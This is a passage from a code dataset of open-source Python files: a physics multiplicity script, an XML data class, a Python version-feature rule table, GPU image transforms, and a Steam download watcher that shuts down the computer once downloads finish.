"lukassnoek/ICON2017_MVPA", "license": "MIT"} {"text": "\"\"\"Table for 200 and 100 oscillators with 100 units of energy\"\"\"\r\nimport math\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport pandas as pd\r\n\r\ndef mult(n, r):\r\n return math.factorial(n) / (math.factorial(r) * math.factorial(n-r))\r\n\r\nnA = 200\r\nnB = 100\r\nqA = np.arange(0,101,1)\r\nqB = np.arange(101, 0, -1)\r\n\r\n#multsA = [mult(n = i+nA-1, r = i) for i in qA]\r\n#multsB = [mult(n = j+nB-1, r = i) for j in qB]\r\n\r\nmultA = []\r\nmultB = []\r\n\r\nfor i in qA:\r\n multA.append(mult(n = i+nA-1, r = i))\r\n\r\nfor i in qB:\r\n multB.append(mult(n = i + nB - 1, r=i))\r\n\r\nmultsA = np.asarray(multA)\r\nmultsB = np.asarray(multB)\r\n\r\n\r\n\r\n#multsA = np.asarray(list(map(mult(n = qA+nA-1,r = qA))))\r\n#multsB = np.asarray(list(map(mult(n = qB+nB-1,r = qB))))\r\n\r\nEinstein = pd.DataFrame(data = [qA, multsA, qB, multsB, multsA*multsB])\r\n\r\n#plt.plot(numHeads, probs)\r\n#plt.title(\"Probabilites of getting n heads flipping 50 coins\")\r\n#plt.xlabel(\"n Heads\")\r\n#plt.ylabel(\"Probability\")\r\n#plt.show()\r\nplt.plot(qA, Einstein.T[4])\r\n", "source": "SNOlson/MyCodes", "license": "Apache-2.0"} {"text": "from ..common import WQXException\nfrom .SimpleContent import (\n BinaryObjectFileName,\n BinaryObjectFileTypeCode\n)\nfrom yattag import Doc\n\nclass AttachedBinaryObject:\n \"\"\"Reference document, image, photo, GIS data layer, laboratory material or other electronic object attached within a data exchange, as well as information used to describe the object.\"\"\"\n\n __binaryObjectFileName: BinaryObjectFileName\n __binaryObjectFileTypeCode: BinaryObjectFileTypeCode\n\n def __init__(self, o=None, *,\n binaryObjectFileName:BinaryObjectFileName = None,\n binaryObjectFileTypeCode:BinaryObjectFileTypeCode = None\n ):\n if isinstance(o, AttachedBinaryObject):\n # Assign attributes from object without typechecking\n self.__binaryObjectFileName = o.binaryObjectFileName\n self.__binaryObjectFileTypeCode = o.binaryObjectFileTypeCode\n elif isinstance(o, dict):\n # Assign attributes from dictionary with typechecking\n self.binaryObjectFileName = o.get('binaryObjectFileName', default = None)\n self.binaryObjectFileTypeCode = o.get('binaryObjectFileTypeCode', default = None)\n else:\n # Assign attributes from named keywords with typechecking\n self.binaryObjectFileName = binaryObjectFileName\n self.binaryObjectFileTypeCode = binaryObjectFileTypeCode\n\n @property\n def binaryObjectFileName(self) -> BinaryObjectFileName:\n return self.__binaryObjectFileName\n @binaryObjectFileName.setter\n def binaryObjectFileName(self, val:BinaryObjectFileName) -> None:\n self.__binaryObjectFileName = BinaryObjectFileName(val)\n\n @property\n def binaryObjectFileTypeCode(self) -> BinaryObjectFileTypeCode:\n return self.__binaryObjectFileTypeCode\n @binaryObjectFileTypeCode.setter\n def binaryObjectFileTypeCode(self, val:BinaryObjectFileTypeCode) -> None:\n self.__binaryObjectFileTypeCode = BinaryObjectFileTypeCode(val)\n\n def generateXML(self, name:str = 'AttachedBinaryObject') -> str:\n doc, tag, text, line = Doc().ttl()\n\n with tag(name):\n if self.__binaryObjectFileName is None:\n raise WQXException(\"Attribute 'binaryObjectFileName' is required.\")\n line('BinaryObjectFileName', self.__binaryObjectFileName)\n if self.__binaryObjectFileTypeCode is None:\n raise WQXException(\"Attribute 'binaryObjectFileTypeCode' is required.\")\n line('BinaryObjectFileTypeCode', self.__binaryObjectFileTypeCode)\n\n return doc.getvalue()\n", "source": "FlippingBinary/wqxlib", "license": "MIT"} {"text": "modules_rules = {\n \"graphlib\": (None, (3, 9)),\n \"test.support.socket_helper\": (None, (3, 9)),\n \"zoneinfo\": (None, (3, 9)),\n}\n\nclasses_rules = {\n \"asyncio.BufferedProtocol\": (None, (3, 7)),\n \"asyncio.PidfdChildWatcher\": (None, (3, 9)),\n \"importlib.abc.Traversable\": (None, (3, 9)),\n \"importlib.abc.TraversableReader\": (None, (3, 9)),\n \"pstats.FunctionProfile\": (None, (3, 9)),\n \"pstats.StatsProfile\": (None, (3, 9)),\n}\n\nexceptions_rules = {\n}\n\nfunctions_rules = {\n \"ast.unparse\": (None, (3, 9)),\n \"asyncio.loop.shutdown_default_executor\": (None, (3, 9)),\n \"asyncio.to_thread\": (None, (3, 9)),\n \"bytearray.removeprefix\": (None, (3, 9)),\n \"bytearray.removesuffix\": (None, (3, 9)),\n \"bytes.removeprefix\": (None, (3, 9)),\n \"bytes.removesuffix\": (None, (3, 9)),\n \"curses.get_escdelay\": (None, (3, 9)),\n \"curses.get_tabsize\": (None, (3, 9)),\n \"curses.set_escdelay\": (None, (3, 9)),\n \"curses.set_tabsize\": (None, (3, 9)),\n \"gc.is_finalized\": (None, (3, 9)),\n \"imaplib.IMAP4.unselect\": (None, (3, 9)),\n \"importlib.machinery.FrozenImporter.create_module\": (None, (3, 4)),\n \"importlib.machinery.FrozenImporter.exec_module\": (None, (3, 4)),\n \"importlib.resources.files\": (None, (3, 9)),\n \"keyword.issoftkeyword\": (None, (3, 9)),\n \"logging.StreamHandler.setStream\": (None, (3, 7)),\n \"math.lcm\": (None, (3, 9)),\n \"math.nextafter\": (None, (3, 9)),\n \"math.ulp\": (None, (3, 9)),\n \"multiprocessing.SimpleQueue.close\": (None, (3, 9)),\n \"os.pidfd_open\": (None, (3, 9)),\n \"os.waitstatus_to_exitcode\": (None, (3, 9)),\n \"pathlib.Path.link_to\": (None, (3, 8)),\n \"pathlib.Path.readlink\": (None, (3, 9)),\n \"pathlib.PurePath.is_relative_to\": (None, (3, 9)),\n \"pathlib.PurePath.with_stem\": (None, (3, 9)),\n \"pkgutil.resolve_name\": (None, (3, 9)),\n \"pstats.Stats.get_stats_profile\": (None, (3, 9)),\n \"random.randbytes\": (None, (3, 9)),\n \"signal.pidfd_send_signal\": (None, (3, 9)),\n \"socket.recv_fds\": (None, (3, 9)),\n \"socket.send_fds\": (None, (3, 9)),\n \"statistics.NormalDist.zscore\": (None, (3, 9)),\n \"str.removeprefix\": (None, (3, 9)),\n \"str.removesuffix\": (None, (3, 9)),\n \"test.support.print_warning\": (None, (3, 9)),\n \"test.support.wait_process\": (None, (3, 9)),\n \"tracemalloc.reset_peak\": (None, (3, 9)),\n \"types.CodeType.replace\": (None, (3, 8)),\n \"typing.get_origin\": (None, (3, 8)),\n \"venv.EnvBuilder.upgrade_dependencies\": (None, (3, 9)),\n \"xml.etree.ElementTree.indent\": (None, (3, 9)),\n}\n\nvariables_and_constants_rules = {\n \"decimal.HAVE_CONTEXTVAR\": (None, (3, 7)),\n \"difflib.SequenceMatcher.bjunk\": (None, (3, 2)),\n \"difflib.SequenceMatcher.bpopular\": (None, (3, 2)),\n \"fcntl.F_GETPATH\": (None, (3, 9)),\n \"fcntl.F_OFD_GETLK\": (None, (3, 9)),\n \"fcntl.F_OFD_SETLK\": (None, (3, 9)),\n \"fcntl.F_OFD_SETLKW\": (None, (3, 9)),\n \"http.HTTPStatus.EARLY_HINTS\": (None, (3, 9)),\n \"http.HTTPStatus.IM_A_TEAPOT\": (None, (3, 9)),\n \"http.HTTPStatus.TOO_EARLY\": (None, (3, 9)),\n \"keyword.softkwlist\": (None, (3, 9)),\n \"logging.StreamHandler.terminator\": (None, (3, 2)),\n \"os.CLD_KILLED\": (None, (3, 9)),\n \"os.CLD_STOPPED\": (None, (3, 9)),\n \"os.P_PIDFD\": (None, (3, 9)),\n \"socket.CAN_J1939\": (None, (3, 9)),\n \"socket.CAN_RAW_JOIN_FILTERS\": (None, (3, 9)),\n \"socket.IPPROTO_UDPLITE\": (None, (3, 9)),\n \"sys.__unraisablehook__\": (None, (3, 8)),\n \"sys.flags.dev_mode\": (None, (3, 7)),\n \"sys.flags.utf8_mode\": (None, (3, 7)),\n \"sys.platlibdir\": (None, (3, 9)),\n \"time.CLOCK_TAI\": (None, (3, 9)),\n \"token.COLONEQUAL\": (None, (3, 8)),\n \"token.TYPE_COMMENT\": (None, (3, 8)),\n \"token.TYPE_IGNORE\": (None, (3, 8)),\n \"tracemalloc.Traceback.total_nframe\": (None, (3, 9)),\n \"typing.Annotated\": (None, (3, 9)),\n \"unittest.mock.Mock.call_args.args\": (None, (3, 8)),\n \"unittest.mock.Mock.call_args.kwargs\": (None, (3, 8)),\n \"urllib.response.addinfourl.status\": (None, (3, 9)),\n}\n\ndecorators_rules = {\n \"functools.cache\": (None, (3, 9)),\n}\n\nkwargs_rules = {\n (\"argparse.ArgumentParser\", \"exit_on_error\"): (None, (3, 9)),\n (\"ast.dump\", \"indent\"): (None, (3, 9)),\n (\"asyncio.Future.cancel\", \"msg\"): (None, (3, 9)),\n (\"asyncio.Task.cancel\", \"msg\"): (None, (3, 9)),\n (\"asyncio.loop.create_connection\", \"happy_eyeballs_delay\"): (None, (3, 8)),\n (\"asyncio.loop.create_connection\", \"interleave\"): (None, (3, 8)),\n (\"bytearray.hex\", \"bytes_per_sep\"): (None, (3, 8)),\n (\"bytearray.hex\", \"sep\"): (None, (3, 8)),\n (\"compileall.compile_dir\", \"hardlink_dupes\"): (None, (3, 9)),\n (\"compileall.compile_dir\", \"limit_sl_dest\"): (None, (3, 9)),\n (\"compileall.compile_dir\", \"prependdir\"): (None, (3, 9)),\n (\"compileall.compile_dir\", \"stripdir\"): (None, (3, 9)),\n (\"compileall.compile_file\", \"hardlink_dupes\"): (None, (3, 9)),\n (\"compileall.compile_file\", \"limit_sl_dest\"): (None, (3, 9)),\n (\"compileall.compile_file\", \"prependdir\"): (None, (3, 9)),\n (\"compileall.compile_file\", \"stripdir\"): (None, (3, 9)),\n (\"concurrent.futures.Executor.shutdown\", \"cancel_futures\"): (None, (3, 9)),\n (\"ftplib.FTP\", \"encoding\"): (None, (3, 9)),\n (\"ftplib.FTP_TLS\", \"encoding\"): (None, (3, 9)),\n (\"hashlib.blake2b\", \"usedforsecurity\"): (None, (3, 9)),\n (\"hashlib.blake2s\", \"usedforsecurity\"): (None, (3, 9)),\n (\"hashlib.md5\", \"usedforsecurity\"): (None, (3, 9)),\n (\"hashlib.new\", \"usedforsecurity\"): (None, (3, 9)),\n (\"hashlib.sha1\", \"usedforsecurity\"): (None, (3, 9)),\n (\"hashlib.sha224\", \"usedforsecurity\"): (None, (3, 9)),\n (\"hashlib.sha256\", \"usedforsecurity\"): (None, (3, 9)),\n (\"hashlib.sha384\", \"usedforsecurity\"): (None, (3, 9)),\n (\"hashlib.sha3_224\", \"usedforsecurity\"): (None, (3, 9)),\n (\"hashlib.sha3_256\", \"usedforsecurity\"): (None, (3, 9)),\n (\"hashlib.sha3_384\", \"usedforsecurity\"): (None, (3, 9)),\n (\"hashlib.sha3_512\", \"usedforsecurity\"): (None, (3, 9)),\n (\"hashlib.sha512\", \"usedforsecurity\"): (None, (3, 9)),\n (\"hashlib.shake_128\", \"usedforsecurity\"): (None, (3, 9)),\n (\"hashlib.shake_256\", \"usedforsecurity\"): (None, (3, 9)),\n (\"imaplib.IMAP4\", \"timeout\"): (None, (3, 9)),\n (\"imaplib.IMAP4.open\", \"timeout\"): (None, (3, 9)),\n (\"imaplib.IMAP4_SSL\", \"ssl_context\"): (None, (3, 3)),\n (\"imaplib.IMAP4_SSL\", \"timeout\"): (None, (3, 9)),\n (\"logging.basicConfig\", \"encoding\"): (None, (3, 9)),\n (\"logging.basicConfig\", \"errors\"): (None, (3, 9)),\n (\"logging.handlers.RotatingFileHandler\", \"errors\"): (None, (3, 9)),\n (\"logging.handlers.TimedRotatingFileHandler\", \"errors\"): (None, (3, 9)),\n (\"logging.handlers.WatchedFileHandler\", \"errors\"): (None, (3, 9)),\n (\"memoryview.hex\", \"bytes_per_sep\"): (None, (3, 8)),\n (\"memoryview.hex\", \"sep\"): (None, (3, 8)),\n (\"os.sendfile\", \"in_fd\"): (None, (3, 9)),\n (\"os.sendfile\", \"out_fd\"): (None, (3, 9)),\n (\"pow\", \"base\"): (None, (3, 8)),\n (\"pow\", \"exp\"): (None, (3, 8)),\n (\"pow\", \"mod\"): (None, (3, 8)),\n (\"random.sample\", \"counts\"): (None, (3, 9)),\n (\"smtplib.LMTP\", \"timeout\"): (None, (3, 9)),\n (\"subprocess.Popen\", \"extra_groups\"): (None, (3, 9)),\n (\"subprocess.Popen\", \"group\"): (None, (3, 9)),\n (\"subprocess.Popen\", \"umask\"): (None, (3, 9)),\n (\"subprocess.Popen\", \"user\"): (None, (3, 9)),\n (\"threading.Semaphore.release\", \"n\"): (None, (3, 9)),\n (\"typing.get_type_hints\", \"include_extras\"): (None, (3, 9)),\n (\"venv.EnvBuilder\", \"upgrade_deps\"): (None, (3, 9)),\n (\"xml.etree.ElementInclude.include\", \"base_url\"): (None, (3, 9)),\n (\"xml.etree.ElementInclude.include\", \"max_depth\"): (None, (3, 9)),\n}\n", "source": "gousaiyang/python-change-parser", "license": "MIT"} {"text": "\"\"\" scaling images\n\n\"\"\"\n\nfrom __future__ import print_function, unicode_literals, absolute_import, division\nimport logging\n\nlogger = logging.getLogger(__name__)\n\nimport os\nimport numpy as np\nimport warnings\nfrom gputools import OCLArray, OCLImage, OCLProgram\nfrom gputools.core.ocltypes import cl_buffer_datatype_dict\nfrom gputools.utils import mat4_rotate, mat4_translate\nfrom ._abspath import abspath\nfrom mako.template import Template\n\n\n\ndef affine(data, mat=np.identity(4), output_shape=None, mode=\"constant\", interpolation=\"linear\", res_g=None):\n \"\"\"\n affine transform data with matrix mat, which is the inverse coordinate transform matrix \n (similar to ndimage.affine_transform)\n \n Parameters\n ----------\n data, ndarray or OCLImage\n 3d array to be transformed\n mat, ndarray or OCLArray\n 3x3 or 4x4 inverse coordinate transform matrix \n output_shape: tuple of ints\n shape of transformed array\n mode: string \n boundary mode, one of the following:\n 'constant'\n pads with zeros \n 'edge'\n pads with edge values\n 'wrap'\n pads with the repeated version of the input \n interpolation, string\n interpolation mode, one of the following \n 'linear'\n 'nearest'\n \n Returns\n -------\n res: ndarray or openCL array\n transformed array (same shape as input)\n \n \"\"\"\n warnings.warn(\n \"gputools.transform.affine: API change as of gputools>= 0.2.8: the inverse of the matrix is now used as in scipy.ndimage.affine_transform\")\n\n if data.ndim != 3:\n raise ValueError(\"input data has to be a 3d array!\")\n\n interpolation_defines = {\"linear\": [\"-D\", \"SAMPLER_FILTER=CLK_FILTER_LINEAR\"],\n \"nearest\": [\"-D\", \"SAMPLER_FILTER=CLK_FILTER_NEAREST\"]}\n\n mode_defines = {\"constant\": [\"-D\", \"SAMPLER_ADDRESS=CLK_ADDRESS_CLAMP\"],\n \"wrap\": [\"-D\", \"SAMPLER_ADDRESS=CLK_ADDRESS_REPEAT\"],\n \"edge\": [\"-D\", \"SAMPLER_ADDRESS=CLK_ADDRESS_CLAMP_TO_EDGE\"]\n }\n\n if not interpolation in interpolation_defines:\n raise KeyError(\n \"interpolation = '%s' not defined ,valid: %s\" % (interpolation, list(interpolation_defines.keys())))\n\n if not mode in mode_defines:\n raise KeyError(\"mode = '%s' not defined ,valid: %s\" % (mode, list(mode_defines.keys())))\n\n # reorder matrix, such that x,y,z -> z,y,x (as the kernel is assuming that)\n\n if output_shape is None:\n output_shape = data.shape\n\n if isinstance(data, OCLImage):\n d_im = data\n else:\n d_im = OCLImage.from_array(data.astype(np.float32, copy=False))\n if res_g is None:\n res_g = OCLArray.empty(output_shape, np.float32)\n \n mat_inv_g = OCLArray.from_array(mat.astype(np.float32, copy=False))\n\n prog = OCLProgram(abspath(\"kernels/affine.cl\")\n , build_options=interpolation_defines[interpolation] +\n mode_defines[mode])\n\n prog.run_kernel(\"affine3\",\n output_shape[::-1], None,\n d_im, res_g.data, mat_inv_g.data)\n\n if isinstance(data, OCLImage):\n return res_g\n else:\n return res_g.get()\n\n\ndef shift(data, shift=(0, 0, 0), mode=\"constant\", interpolation=\"linear\"):\n \"\"\"\n translates 3d data by given amount\n \n \n Parameters\n ----------\n data: ndarray\n 3d array\n shift : float or sequence\n The shift along the axes. If a float, `shift` is the same for each axis. \n If a sequence, `shift` should contain one value for each axis. \n mode: string \n boundary mode, one of the following: \n 'constant'\n pads with zeros \n 'edge'\n pads with edge values\n 'wrap'\n pads with the repeated version of the input \n interpolation, string\n interpolation mode, one of the following \n 'linear'\n 'nearest'\n \n Returns\n -------\n res: ndarray\n shifted array (same shape as input)\n \"\"\"\n if np.isscalar(shift):\n shift = (shift,) * 3\n\n if len(shift) != 3:\n raise ValueError(\"shift (%s) should be of length 3!\")\n\n shift = -np.array(shift)\n return affine(data, mat4_translate(*shift), mode=mode, interpolation=interpolation)\n\n\ndef rotate(data, axis=(1., 0, 0), angle=0., center=None, mode=\"constant\", interpolation=\"linear\"):\n \"\"\"\n rotates data around axis by a given angle\n\n Parameters\n ----------\n data: ndarray\n 3d array\n axis: tuple\n axis to rotate by angle about\n axis = (x,y,z)\n angle: float\n center: tuple or None\n origin of rotation (cz,cy,cx) in pixels\n if None, center is the middle of data\n \n mode: string \n boundary mode, one of the following: \n 'constant'\n pads with zeros \n 'edge'\n pads with edge values\n 'wrap'\n pads with the repeated version of the input \n interpolation, string\n interpolation mode, one of the following \n 'linear'\n 'nearest'\n \n Returns\n -------\n res: ndarray\n rotated array (same shape as input)\n\n \"\"\"\n if center is None:\n center = tuple([s // 2 for s in data.shape])\n\n cx, cy, cz = center\n m = np.dot(mat4_translate(cx, cy, cz),\n np.dot(mat4_rotate(angle, *axis),\n mat4_translate(-cx, -cy, -cz)))\n m = np.linalg.inv(m)\n return affine(data, m, mode=mode, interpolation=interpolation)\n\n\ndef map_coordinates(data, coordinates, interpolation=\"linear\",\n mode='constant'):\n \"\"\"\n Map data to new coordinates by interpolation.\n The array of coordinates is used to find, for each point in the output,\n the corresponding coordinates in the input.\n\n should correspond to scipy.ndimage.map_coordinates\n \n Parameters\n ----------\n data\n coordinates\n output\n interpolation\n mode\n cval\n prefilter\n\n Returns\n -------\n \"\"\"\n if not (isinstance(data, np.ndarray) and data.ndim in (2, 3)):\n raise ValueError(\"input data has to be a 2d or 3d array!\")\n\n coordinates = np.asarray(coordinates, np.int32)\n if not (coordinates.shape[0] == data.ndim):\n raise ValueError(\"coordinate has to be of shape (data.ndim,m) \")\n\n interpolation_defines = {\"linear\": [\"-D\", \"SAMPLER_FILTER=CLK_FILTER_LINEAR\"],\n \"nearest\": [\"-D\", \"SAMPLER_FILTER=CLK_FILTER_NEAREST\"]}\n\n mode_defines = {\"constant\": [\"-D\", \"SAMPLER_ADDRESS=CLK_ADDRESS_CLAMP\"],\n \"wrap\": [\"-D\", \"SAMPLER_ADDRESS=CLK_ADDRESS_REPEAT\"],\n \"edge\": [\"-D\", \"SAMPLER_ADDRESS=CLK_ADDRESS_CLAMP_TO_EDGE\"]\n }\n\n if not interpolation in interpolation_defines:\n raise KeyError(\n \"interpolation = '%s' not defined ,valid: %s\" % (interpolation, list(interpolation_defines.keys())))\n\n if not mode in mode_defines:\n raise KeyError(\"mode = '%s' not defined ,valid: %s\" % (mode, list(mode_defines.keys())))\n\n if not data.dtype.type in cl_buffer_datatype_dict:\n raise KeyError(\"dtype %s not supported yet (%s)\" % (data.dtype.type, tuple(cl_buffer_datatype_dict.keys())))\n\n dtype_defines = [\"-D\", \"DTYPE=%s\" % cl_buffer_datatype_dict[data.dtype.type]]\n\n d_im = OCLImage.from_array(data)\n coordinates_g = OCLArray.from_array(coordinates.astype(np.float32, copy=False))\n res_g = OCLArray.empty(coordinates.shape[1], data.dtype)\n\n prog = OCLProgram(abspath(\"kernels/map_coordinates.cl\")\n , build_options=interpolation_defines[interpolation] +\n mode_defines[mode] + dtype_defines)\n\n kernel = \"map_coordinates{ndim}\".format(ndim=data.ndim)\n\n prog.run_kernel(kernel,\n (coordinates.shape[-1],), None,\n d_im, res_g.data, coordinates_g.data)\n\n return res_g.get()\n\n\ndef geometric_transform(data, mapping = \"c0,c1\", output_shape=None,\n mode='constant', interpolation=\"linear\"):\n \"\"\"\n Apply an arbitrary geometric transform.\n The given mapping function is used to find, for each point in the\n output, the corresponding coordinates in the input. The value of the\n input at those coordinates is determined by spline interpolation of\n the requested order.\n Parameters\n ----------\n %(input)s\n mapping : {callable, scipy.LowLevelCallable}\n A callable object that accepts a tuple of length equal to the output\n array rank, and returns the corresponding input coordinates as a tuple\n of length equal to the input array rank.\n \"\"\"\n\n if not (isinstance(data, np.ndarray) and data.ndim in (2, 3)):\n raise ValueError(\"input data has to be a 2d or 3d array!\")\n\n interpolation_defines = {\"linear\": [\"-D\", \"SAMPLER_FILTER=CLK_FILTER_LINEAR\"],\n \"nearest\": [\"-D\", \"SAMPLER_FILTER=CLK_FILTER_NEAREST\"]}\n\n mode_defines = {\"constant\": [\"-D\", \"SAMPLER_ADDRESS=CLK_ADDRESS_CLAMP\"],\n \"wrap\": [\"-D\", \"SAMPLER_ADDRESS=CLK_ADDRESS_REPEAT\"],\n \"edge\": [\"-D\", \"SAMPLER_ADDRESS=CLK_ADDRESS_CLAMP_TO_EDGE\"]\n }\n\n if not interpolation in interpolation_defines:\n raise KeyError(\n \"interpolation = '%s' not defined ,valid: %s\" % (interpolation, list(interpolation_defines.keys())))\n\n if not mode in mode_defines:\n raise KeyError(\"mode = '%s' not defined ,valid: %s\" % (mode, list(mode_defines.keys())))\n\n if not data.dtype.type in cl_buffer_datatype_dict:\n raise KeyError(\"dtype %s not supported yet (%s)\" % (data.dtype.type, tuple(cl_buffer_datatype_dict.keys())))\n\n dtype_defines = [\"-D\", \"DTYPE={type}\".format(type=cl_buffer_datatype_dict[data.dtype.type])]\n\n image_functions = {np.float32:\"read_imagef\",\n np.uint8: \"read_imageui\",\n np.uint16: \"read_imageui\",\n np.int32: \"read_imagei\"}\n\n image_read_defines = [\"-D\",\"READ_IMAGE=%s\"%image_functions[data.dtype.type]]\n\n with open(abspath(\"kernels/geometric_transform.cl\"), \"r\") as f:\n tpl = Template(f.read())\n\n output_shape = tuple(output_shape)\n\n mappings = {\"FUNC2\": \"c1,c0\",\n \"FUNC3\": \"c2,c1,c0\"}\n\n mappings[\"FUNC%d\" % data.ndim] = \",\".join(reversed(mapping.split(\",\")))\n\n rendered = tpl.render(**mappings)\n\n d_im = OCLImage.from_array(data)\n res_g = OCLArray.empty(output_shape, data.dtype)\n\n prog = OCLProgram(src_str=rendered,\n build_options=interpolation_defines[interpolation] +\n mode_defines[mode] + dtype_defines+image_read_defines)\n\n kernel = \"geometric_transform{ndim}\".format(ndim=data.ndim)\n\n prog.run_kernel(kernel,\n output_shape[::-1], None,\n d_im, res_g.data)\n\n return res_g.get()\n\n\nif __name__ == '__main__':\n d = np.zeros((200, 200, 200), np.float32)\n d[20:-20, 20:-20, 20:-20] = 1.\n\n # res = translate(d, x = 10, y = 5, z= -10 )\n res = rotate(d, center=(100, 100, 100), angle=.5)\n", "source": "jni/gputools", "license": "BSD-3-Clause"} {"text": "\"\"\" This Python modules describes an application that checks for active steam downloads\nand shuts down the computer when they are all finished. \"\"\"\n\nimport os\nimport signal\nimport threading\nimport subprocess\nimport winreg as reg\nimport tkinter as tk\nimport tkinter.filedialog\nimport tkinter.messagebox\nimport tkinter.scrolledtext\nimport pyparsing as pp\n\n\nclass Watcher:\n def __init__(self):\n self.directories = set()\n self.loaded_steam = False\n\n def ask(self):\n folder = tk.filedialog.askdirectory()\n self.directories.add(folder)\n\n def load_steam_folders(self):\n if self.loaded_steam:\n return\n\n hkey = reg.OpenKey(reg.HKEY_CURRENT_USER, \"Software\\\\Valve\\\\Steam\")\n steam_path = reg.QueryValueEx(hkey, \"SteamPath\")[0]\n # Read the steam vdf file that contains path strings to all\n # game install directories.\n try:\n file = open(steam_path + \"/steamapps/LibraryFolders.vdf\").read()\n except OSError:\n print(\"Unable to open {}.\".format(\n steam_path + \"/steamapps/LibraryFolders.vdf\"))\n # parse Valve's weird cfg format (its like a shitty version of JSON)\n # forward declare the value of a key\n value = pp.Forward()\n # expression for our dict structure that looks like: [\"key1\", value]\n key_value = pp.Group(pp.QuotedString('\"') + value)\n # create a parse structure for value so value looks like: c\n expression = pp.Suppress(\n '{') + pp.Dict(pp.ZeroOrMore(key_value)) + pp.Suppress('}')\n # set our value to be a quoted string follow by the structure we defined,\n # looks like this in Python:\n # [\"outer_key\", { [\"inner_key1\", value], [\"inner_key2\", value] } ]\n # we can acess the above as either a dict or array.\n value <<= pp.QuotedString('\"') | expression\n parser = pp.Dict(key_value)\n content = parser.parseString(file)\n\n for entry in content[\"libraryfolders\"]:\n for key, val in entry.items():\n if key == \"path\":\n dlpath = val + \"\\\\steamapps\\\\downloading\"\n if os.path.isdir(dlpath):\n self.directories.add(dlpath)\n\n self.loaded_steam = True\n\n def folder_size(self, start_path='.'):\n total_size = 0\n for dirpath, _, filenames in os.walk(start_path):\n for filename in filenames:\n filepath = os.path.join(dirpath, filename)\n if not os.path.islink(filepath):\n total_size += os.path.getsize(filepath)\n return total_size\n\n def folder_sizes(self):\n all_sizes = list()\n for dirpath in self.directories:\n all_sizes.append(self.folder_size(dirpath))\n return all_sizes\n\n def is_updating(self, last_sizes: list, new_sizes: list):\n for last_size, new_size in zip(last_sizes, new_sizes):\n if new_size != last_size:\n return True\n return False\n\n def clear(self):\n self.directories.clear()\n self.loaded_steam = False\n\n def get_folders(self):\n return self.directories\n\n\nclass Application:\n def __init__(self):\n self.watcher = Watcher()\n\n self.window = tk.Tk()\n self.window.title(\"Download Watcher\")\n self.window.geometry('500x360')\n\n button_frame = tk.Frame(self.window)\n button_frame.pack(side=tk.BOTTOM)\n\n self.logger = tk.scrolledtext.ScrolledText(\n self.window, height=100, width=100, font=\"Courier 10\")\n self.logger.pack(side=tk.LEFT)\n\n self.logger.tag_config(\n \"green\", foreground=\"green\", font=\"courier 10 bold\")\n self.logger.tag_config(\n \"orange\", foreground=\"orange\", font=\"courier 10 bold\")\n self.logger.tag_config(\"red\", foreground=\"red\", font=\"courier 10 bold\")\n\n self.steam_btn = tk.Button(button_frame, text=\"Add Steam\",\n command=self.load_steam_folders, padx=2, pady=2)\n self.steam_btn.pack(side=tk.LEFT)\n\n self.folder_btn = tk.Button(button_frame, text=\"Add Folder\",\n command=self.ask, padx=2, pady=2)\n self.folder_btn.pack(side=tk.LEFT)\n\n self.clear_btn = tk.Button(button_frame, text=\"Clear\",\n command=self.clear, padx=2, pady=2)\n self.clear_btn.pack(side=tk.LEFT)\n\n self.start_btn = tk.Button(button_frame, text=\"Start\",\n command=self.watch_thread, padx=2, pady=2)\n self.start_btn.pack(side=tk.LEFT)\n\n self.stop_btn = tk.Button(button_frame, text=\"Stop\",\n command=self.stop, padx=2, pady=2)\n self.stop_btn.pack(side=tk.LEFT)\n\n self.thread = None\n self.running = False\n\n self.timer = threading.Event()\n self.window.protocol(\"WM_DELETE_WINDOW\", self.on_exit)\n signal.signal(signal.SIGINT, self.stop)\n\n def log(self, text: str, color=\"black\"):\n self.logger.config(state=tk.NORMAL)\n self.logger.insert(tk.END, text, (color))\n self.logger.see(\"end\")\n self.logger.config(state=tk.DISABLED)\n\n def ask(self):\n if self.running:\n tkinter.messagebox.showwarning(\n \"Warning\", \"Please stop the Watcher.\")\n return\n folders_copy = self.watcher.get_folders().copy()\n self.watcher.ask()\n for folder in self.watcher.get_folders():\n if folder not in folders_copy:\n self.log(\"Added: \", color=\"green\")\n self.log(folder + '\\n')\n\n def clear(self):\n if self.running:\n tkinter.messagebox.showwarning(\n \"Warning\", \"Please stop the Watcher.\")\n return\n self.watcher.clear()\n self.logger.config(state=tk.NORMAL)\n self.logger.delete('1.0', tk.END)\n self.logger.config(state=tk.DISABLED)\n\n def load_steam_folders(self):\n if self.running:\n tkinter.messagebox.showwarning(\n \"Warning\", \"Please stop the Watcher.\")\n return\n folders_copy = self.watcher.get_folders().copy()\n self.watcher.load_steam_folders()\n for folder in self.watcher.get_folders():\n if folder not in folders_copy:\n self.log(\"Added: \", color=\"green\")\n self.log(folder + '\\n')\n\n def watch(self):\n self.running = True\n self.timer.clear()\n self.log(\"Checking for active downloads.. \\n\")\n\n last_size = self.watcher.folder_sizes() # random initial value\n self.timer.wait(timeout=10)\n new_size = self.watcher.folder_sizes() # random initial value\n\n if self.timer.is_set():\n self.log(\"Watcher stopped. \\n\", color=\"red\")\n self.running = False\n return\n\n if last_size == new_size:\n self.log(\"No active downloads found. \\n\", color=\"red\")\n self.running = False\n return\n else:\n self.log(\"Updates \")\n self.log(\"found. \\n\", color=\"green\")\n self.log(\"Updating.. \\n\")\n\n while self.watcher.is_updating(last_size, new_size):\n last_size = self.watcher.folder_sizes()\n if not self.timer.is_set():\n self.timer.wait(timeout=60)\n\n if self.timer.is_set():\n self.log(\"Watcher stopped. \\n\", color=\"red\")\n self.running = False\n return\n new_size = self.watcher.folder_sizes()\n\n self.log(\"Finishing up.. \\n\")\n self.timer.wait(timeout=300)\n self.log(\"Updating finished. \\n\")\n self.log(\"Shutting down computer. \\n\")\n self.running = False\n subprocess.call([\"shutdown\", \"/s\"])\n\n def watch_thread(self):\n if self.running:\n tkinter.messagebox.showwarning(\n \"Warning\", \"Please stop the Watcher.\")\n return\n\n if not self.watcher.get_folders():\n self.log(\"Warning: \", \"orange\")\n self.log(\"No directories added. \\n\")\n return\n self.thread = threading.Thread(target=self.watch)\n self.thread.start()\n\n def stop(self):\n if not self.running:\n return\n self.running = False\n self.timer.set()\n\n def run(self):\n self.window.mainloop()\n\n def on_exit(self):\n if self.running:\n tkinter.messagebox.showwarning(\n \"Warning\", \"Please stop the Watcher.\")\n else:\n self.window.destroy()\n\n\ndef main():\n app = Application()\n app.run()\n\n\nif __name__ == \"__main__\":\n main()\n", "source": "nicovanbentum/Utility-Scripts", 